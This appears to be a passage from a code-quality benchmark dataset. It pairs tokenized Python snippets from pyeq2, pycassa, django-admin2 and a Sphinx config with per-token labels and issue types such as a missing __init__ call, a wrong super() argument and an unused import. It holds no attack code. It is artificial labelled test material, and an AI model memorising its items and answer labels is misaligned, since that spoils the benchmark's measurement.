"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"xy_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"XY",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"(_",
"a_",
"*_",
"xy_",
")_",
"/_",
"(_",
"b_",
"*_",
"y",
"\\u",
"in_",
"+_",
"c_",
"*_",
"x",
"\\u",
"in_",
"+_",
"xy_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Unco",
"mpe",
"titi",
"ve",
"In",
"hibit",
"ion",
"A_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"x",
"\\u",
"in_",
"/_",
"(_",
"b_",
"+_",
"x",
"\\u",
"in_",
"*_",
"(_",
"1.0_",
"+_",
"y",
"\\u",
"in_",
"/_",
"c_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Unco",
"mpe",
"titi",
"ve",
"In",
"hibit",
"ion",
"B_",
"(_",
"pye",
"q2_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
"._",
"Model",
"\\u",
"3",
"D",
"\\u",
"Base",
"Class_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"Calculat",
"e",
"Model",
"Prediction",
"s_",
"(_",
"self_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"x",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"X",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"y",
"\\u",
"in_",
"=_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Y",
"'_",
"]_",
"#",
" ",
"only",
" ",
"need",
" ",
"to",
" ",
"perform",
" ",
"this",
" ",
"dictionar",
"y",
" ",
"look",
"-",
"up",
" ",
"once_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"a_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"1_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"c_",
"=_",
"in",
"Coeff",
"s_",
"[_",
"2_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"temp_",
"=_",
"a_",
"*_",
"y",
"\\u",
"in_",
"/_",
"(_",
"b_",
"+_",
"y",
"\\u",
"in_",
"*_",
"(_",
"1.0_",
"+_",
"x",
"\\u",
"in_",
"/_",
"c_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"self_",
"._",
"extend",
"ed",
"Version",
"Handler_",
"._",
"Get",
"Addition",
"al",
"Model",
"Prediction",
"s_",
"(_",
"temp_",
",_",
"in",
"Coeff",
"s_",
",_",
"in",
"Data",
"Cache",
"Dictionary_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"numpy_",
"._",
"ones_",
"(_",
"len_",
"(_",
"in",
"Data",
"Cache",
"Dictionary_",
"[_",
"'",
"Dependent",
"Data",
"'_",
"]_",
")_",
")_",
"*_",
"1.0",
"E3",
"00_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Missing call to `__init__` during object initialization | pycassa/pycassa/pycassa/types.py | [
{
"content": " def __init__(self, reversed=False, default=None):\n self.reversed = reversed\n self.default = default\n if not hasattr(self.__class__, 'pack'):\n self.pack = marshal.packer_for(self.__class__.__name__)\n if not hasattr(self.__class__, 'unpack'):\n self.unpack = marshal.unpacker_for(self.__class__.__name__)",
"metadata": "root.CassandraType.__init__",
"header": "['class', 'CassandraType', '(', 'object', ')', ':', '___EOS___']",
"index": 50
},
{
"content": "class CompositeType(CassandraType):\n \"\"\"\n A type composed of one or more components, each of\n which have their own type. When sorted, items are\n primarily sorted by their first component, secondarily\n by their second component, and so on.\n\n Each of `*components` should be an instance of\n a subclass of :class:`CassandraType`.\n\n .. seealso:: :ref:`composite-types`\n\n \"\"\"\n\n\n\n",
"metadata": "root.CompositeType",
"header": "['module', '___EOS___']",
"index": 234
},
{
"content": " def __init__(self, *components):\n self.components = components",
"metadata": "root.CompositeType.__init__",
"header": "['class', 'CompositeType', '(', 'CassandraType', ')', ':', '___EOS___']",
"index": 248
},
{
"content": "class DynamicCompositeType(CassandraType):\n \"\"\"\n A type composed of one or more components, each of\n which have their own type. When sorted, items are\n primarily sorted by their first component, secondarily\n by their second component, and so on.\n\n Unlike CompositeType, DynamicCompositeType columns\n need not all be of the same structure. Each column\n can be composed of different component types.\n\n Components are specified using a 2-tuple made up of\n a comparator type and value. Aliases for comparator\n types can optionally be specified with a dictionary \n during instantiation.\n\n \"\"\"\n\n",
"metadata": "root.DynamicCompositeType",
"header": "['module', '___EOS___']",
"index": 262
},
{
"content": " def __init__(self, *aliases):\n self.aliases = {}\n for alias in aliases:\n if isinstance(alias, dict):\n self.aliases.update(alias)",
"metadata": "root.DynamicCompositeType.__init__",
"header": "['class', 'DynamicCompositeType', '(', 'CassandraType', ')', ':', '___EOS___']",
"index": 280
}
]
| [
{
"span": "class CompositeType(CassandraType):",
"start_line": 234,
"start_column": 0,
"end_line": 234,
"end_column": 35
},
{
"span": "class DynamicCompositeType(CassandraType):",
"start_line": 262,
"start_column": 0,
"end_line": 262,
"end_column": 42
}
]
| [
{
"span": "def __init__(self, reversed=False, default=None):",
"start_line": 50,
"start_column": 4,
"end_line": 50,
"end_column": 53
},
{
"span": "def __init__(self, *components):",
"start_line": 248,
"start_column": 4,
"end_line": 248,
"end_column": 36
},
{
"span": "def __init__(self, *aliases):",
"start_line": 280,
"start_column": 4,
"end_line": 280,
"end_column": 33
}
]
| 1 | false | [
"[CLS]_",
"Missing",
"_",
"call_",
"to_",
" _",
"`_",
"\\u\\u",
"init\\u\\u_",
"`_",
"dur",
"ing_",
"object_",
"initialization",
"_",
"[SEP]_",
"class_",
"Cass",
"andra",
"Type_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"reversed_",
"=_",
"False_",
",_",
"default_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"reversed_",
"=_",
"reversed_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"default_",
"=_",
"default_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"hasattr_",
"(_",
"self_",
"._",
"\\u\\u",
"class\\u\\u_",
",_",
"'",
"pack",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"pack_",
"=_",
"marshal_",
"._",
"packer",
"\\u",
"for_",
"(_",
"self_",
"._",
"\\u\\u",
"class\\u\\u_",
"._",
"\\u\\u",
"name\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"hasattr_",
"(_",
"self_",
"._",
"\\u\\u",
"class\\u\\u_",
",_",
"'",
"unpack",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"unpack_",
"=_",
"marshal_",
"._",
"unpack",
"er",
"\\u",
"for_",
"(_",
"self_",
"._",
"\\u\\u",
"class\\u\\u_",
"._",
"\\u\\u",
"name\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Composit",
"e",
"Type_",
"(_",
"Cass",
"andra",
"Type_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"type",
" ",
"compose",
"d",
" ",
"of",
" ",
"one",
" ",
"or",
" ",
"more",
" ",
"component",
"s",
",",
" ",
"each",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"whi",
"ch",
" ",
"have",
" ",
"thei",
"r",
" ",
"own",
" ",
"type",
".",
" ",
" ",
"Whe",
"n",
" ",
"sorte",
"d",
",",
" ",
"items",
" ",
"are",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"prima",
"ri",
"ly",
" ",
"sorte",
"d",
" ",
"by",
" ",
"thei",
"r",
" ",
"first",
" ",
"component",
",",
" ",
"second",
"ari",
"ly",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"by",
" ",
"thei",
"r",
" ",
"second",
" ",
"component",
",",
" ",
"and",
" ",
"so",
" ",
"on",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Ea",
"ch",
" ",
"of",
" ",
"`",
"*",
"component",
"s",
"`",
" ",
"shou",
"ld",
" ",
"be",
" ",
"an",
" ",
"instance",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"a",
" ",
"subclass",
" ",
"of",
" ",
":",
"class",
":`",
"Cass",
"andra",
"Type",
"`.",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"..",
" ",
"see",
"als",
"o",
"::",
" ",
":",
"ref",
":`",
"composi",
"te",
"-",
"types",
"`",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Composit",
"e",
"Type_",
"(_",
"Cass",
"andra",
"Type_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"components_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"components_",
"=_",
"components_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Dynamic",
"Composit",
"e",
"Type_",
"(_",
"Cass",
"andra",
"Type_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"A",
" ",
"type",
" ",
"compose",
"d",
" ",
"of",
" ",
"one",
" ",
"or",
" ",
"more",
" ",
"component",
"s",
",",
" ",
"each",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"whi",
"ch",
" ",
"have",
" ",
"thei",
"r",
" ",
"own",
" ",
"type",
".",
" ",
" ",
"Whe",
"n",
" ",
"sorte",
"d",
",",
" ",
"items",
" ",
"are",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"prima",
"ri",
"ly",
" ",
"sorte",
"d",
" ",
"by",
" ",
"thei",
"r",
" ",
"first",
" ",
"component",
",",
" ",
"second",
"ari",
"ly",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"by",
" ",
"thei",
"r",
" ",
"second",
" ",
"component",
",",
" ",
"and",
" ",
"so",
" ",
"on",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Unli",
"ke",
" ",
"Composit",
"e",
"Type",
",",
" ",
"Dynamic",
"Composit",
"e",
"Type",
" ",
"column",
"s",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"need",
" ",
"not",
" ",
"all",
" ",
"be",
" ",
"of",
" ",
"the",
" ",
"same",
" ",
"structure",
".",
" ",
"Ea",
"ch",
" ",
"column",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"can",
" ",
"be",
" ",
"compose",
"d",
" ",
"of",
" ",
"different",
" ",
"component",
" ",
"types",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Compo",
"nent",
"s",
" ",
"are",
" ",
"specified",
" ",
"usi",
"ng",
" ",
"a",
" ",
"2",
"-",
"tuple",
" ",
"made",
" ",
"up",
" ",
"of",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"a",
" ",
"comparator",
" ",
"type",
" ",
"and",
" ",
"value",
".",
" ",
"Aliase",
"s",
" ",
"for",
" ",
"comparator",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"types",
" ",
"can",
" ",
"option",
"ally",
" ",
"be",
" ",
"specified",
" ",
"with",
" ",
"a",
" ",
"dictionar",
"y",
" ",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"dur",
"ing",
" ",
"instantiation",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Dynamic",
"Composit",
"e",
"Type_",
"(_",
"Cass",
"andra",
"Type_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"*_",
"aliases_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
3,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
First argument to super() is not enclosing class | pydanny/django-admin2/djadmin2/filters.py | [
{
"content": " def __init__(self, attrs=None, choices=()):\n super(ChoicesAsLinksWidget, self).__init__(attrs)\n self.choices = [\n ('1', ugettext_lazy('Unknown')),\n ('2', ugettext_lazy('Yes')),\n ('3', ugettext_lazy('No')),\n ]",
"metadata": "root.NullBooleanLinksWidget.__init__",
"header": "['class', 'NullBooleanLinksWidget', '(', '___NL___', 'ChoicesAsLinksWidget', ',', '___NL___', 'django_widgets', '.', 'NullBooleanSelect', '___NL___', ')', ':', '___EOS___']",
"index": 45
}
]
| [
{
"span": "super(ChoicesAsLinksWidget, self).",
"start_line": 46,
"start_column": 8,
"end_line": 46,
"end_column": 41
}
]
| []
| 1 | true | [
"[CLS]_",
"First_",
"argument_",
"to_",
"super_",
"(_",
")_",
"is_",
"not_",
"encl",
"osin",
"g_",
"class_",
"[SEP]_",
"class_",
"Null",
"Boo",
"lean",
"Link",
"s",
"Widget_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Choi",
"ces",
"As",
"Link",
"s",
"Widget_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"django",
"\\u",
"widgets_",
"._",
"Null",
"Boo",
"lean",
"Select_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"attrs_",
"=_",
"None_",
",_",
"choices_",
"=_",
"(_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"super_",
"(_",
"Choi",
"ces",
"As",
"Link",
"s",
"Widget_",
",_",
"self_",
")_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"attrs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"choices_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"1",
"'_",
",_",
"uge",
"ttext",
"\\u",
"lazy_",
"(_",
"'",
"Un",
"know",
"n",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"2",
"'_",
",_",
"uge",
"ttext",
"\\u",
"lazy_",
"(_",
"'",
"Ye",
"s",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"3",
"'_",
",_",
"uge",
"ttext",
"\\u",
"lazy_",
"(_",
"'",
"No",
"'_",
")_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | holgerd77/django-dynamic-scraper/docs/conf.py | [
{
"content": "# -*- coding: utf-8 -*-\n#\n# django-dynamic-scraper documentation build configuration file, created by\n# sphinx-quickstart on Mon Dec 5 15:05:19 2011.\n#\n# This file is execfile()d with the current directory set to its containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys, os\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration -----------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be extensions\n# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.\nextensions = ['sphinx.ext.autodoc']\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix of source filenames.\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = u'django-dynamic-scraper'\ncopyright = u'2016, Holger Drewes'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.10'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.10-beta'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#language = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) 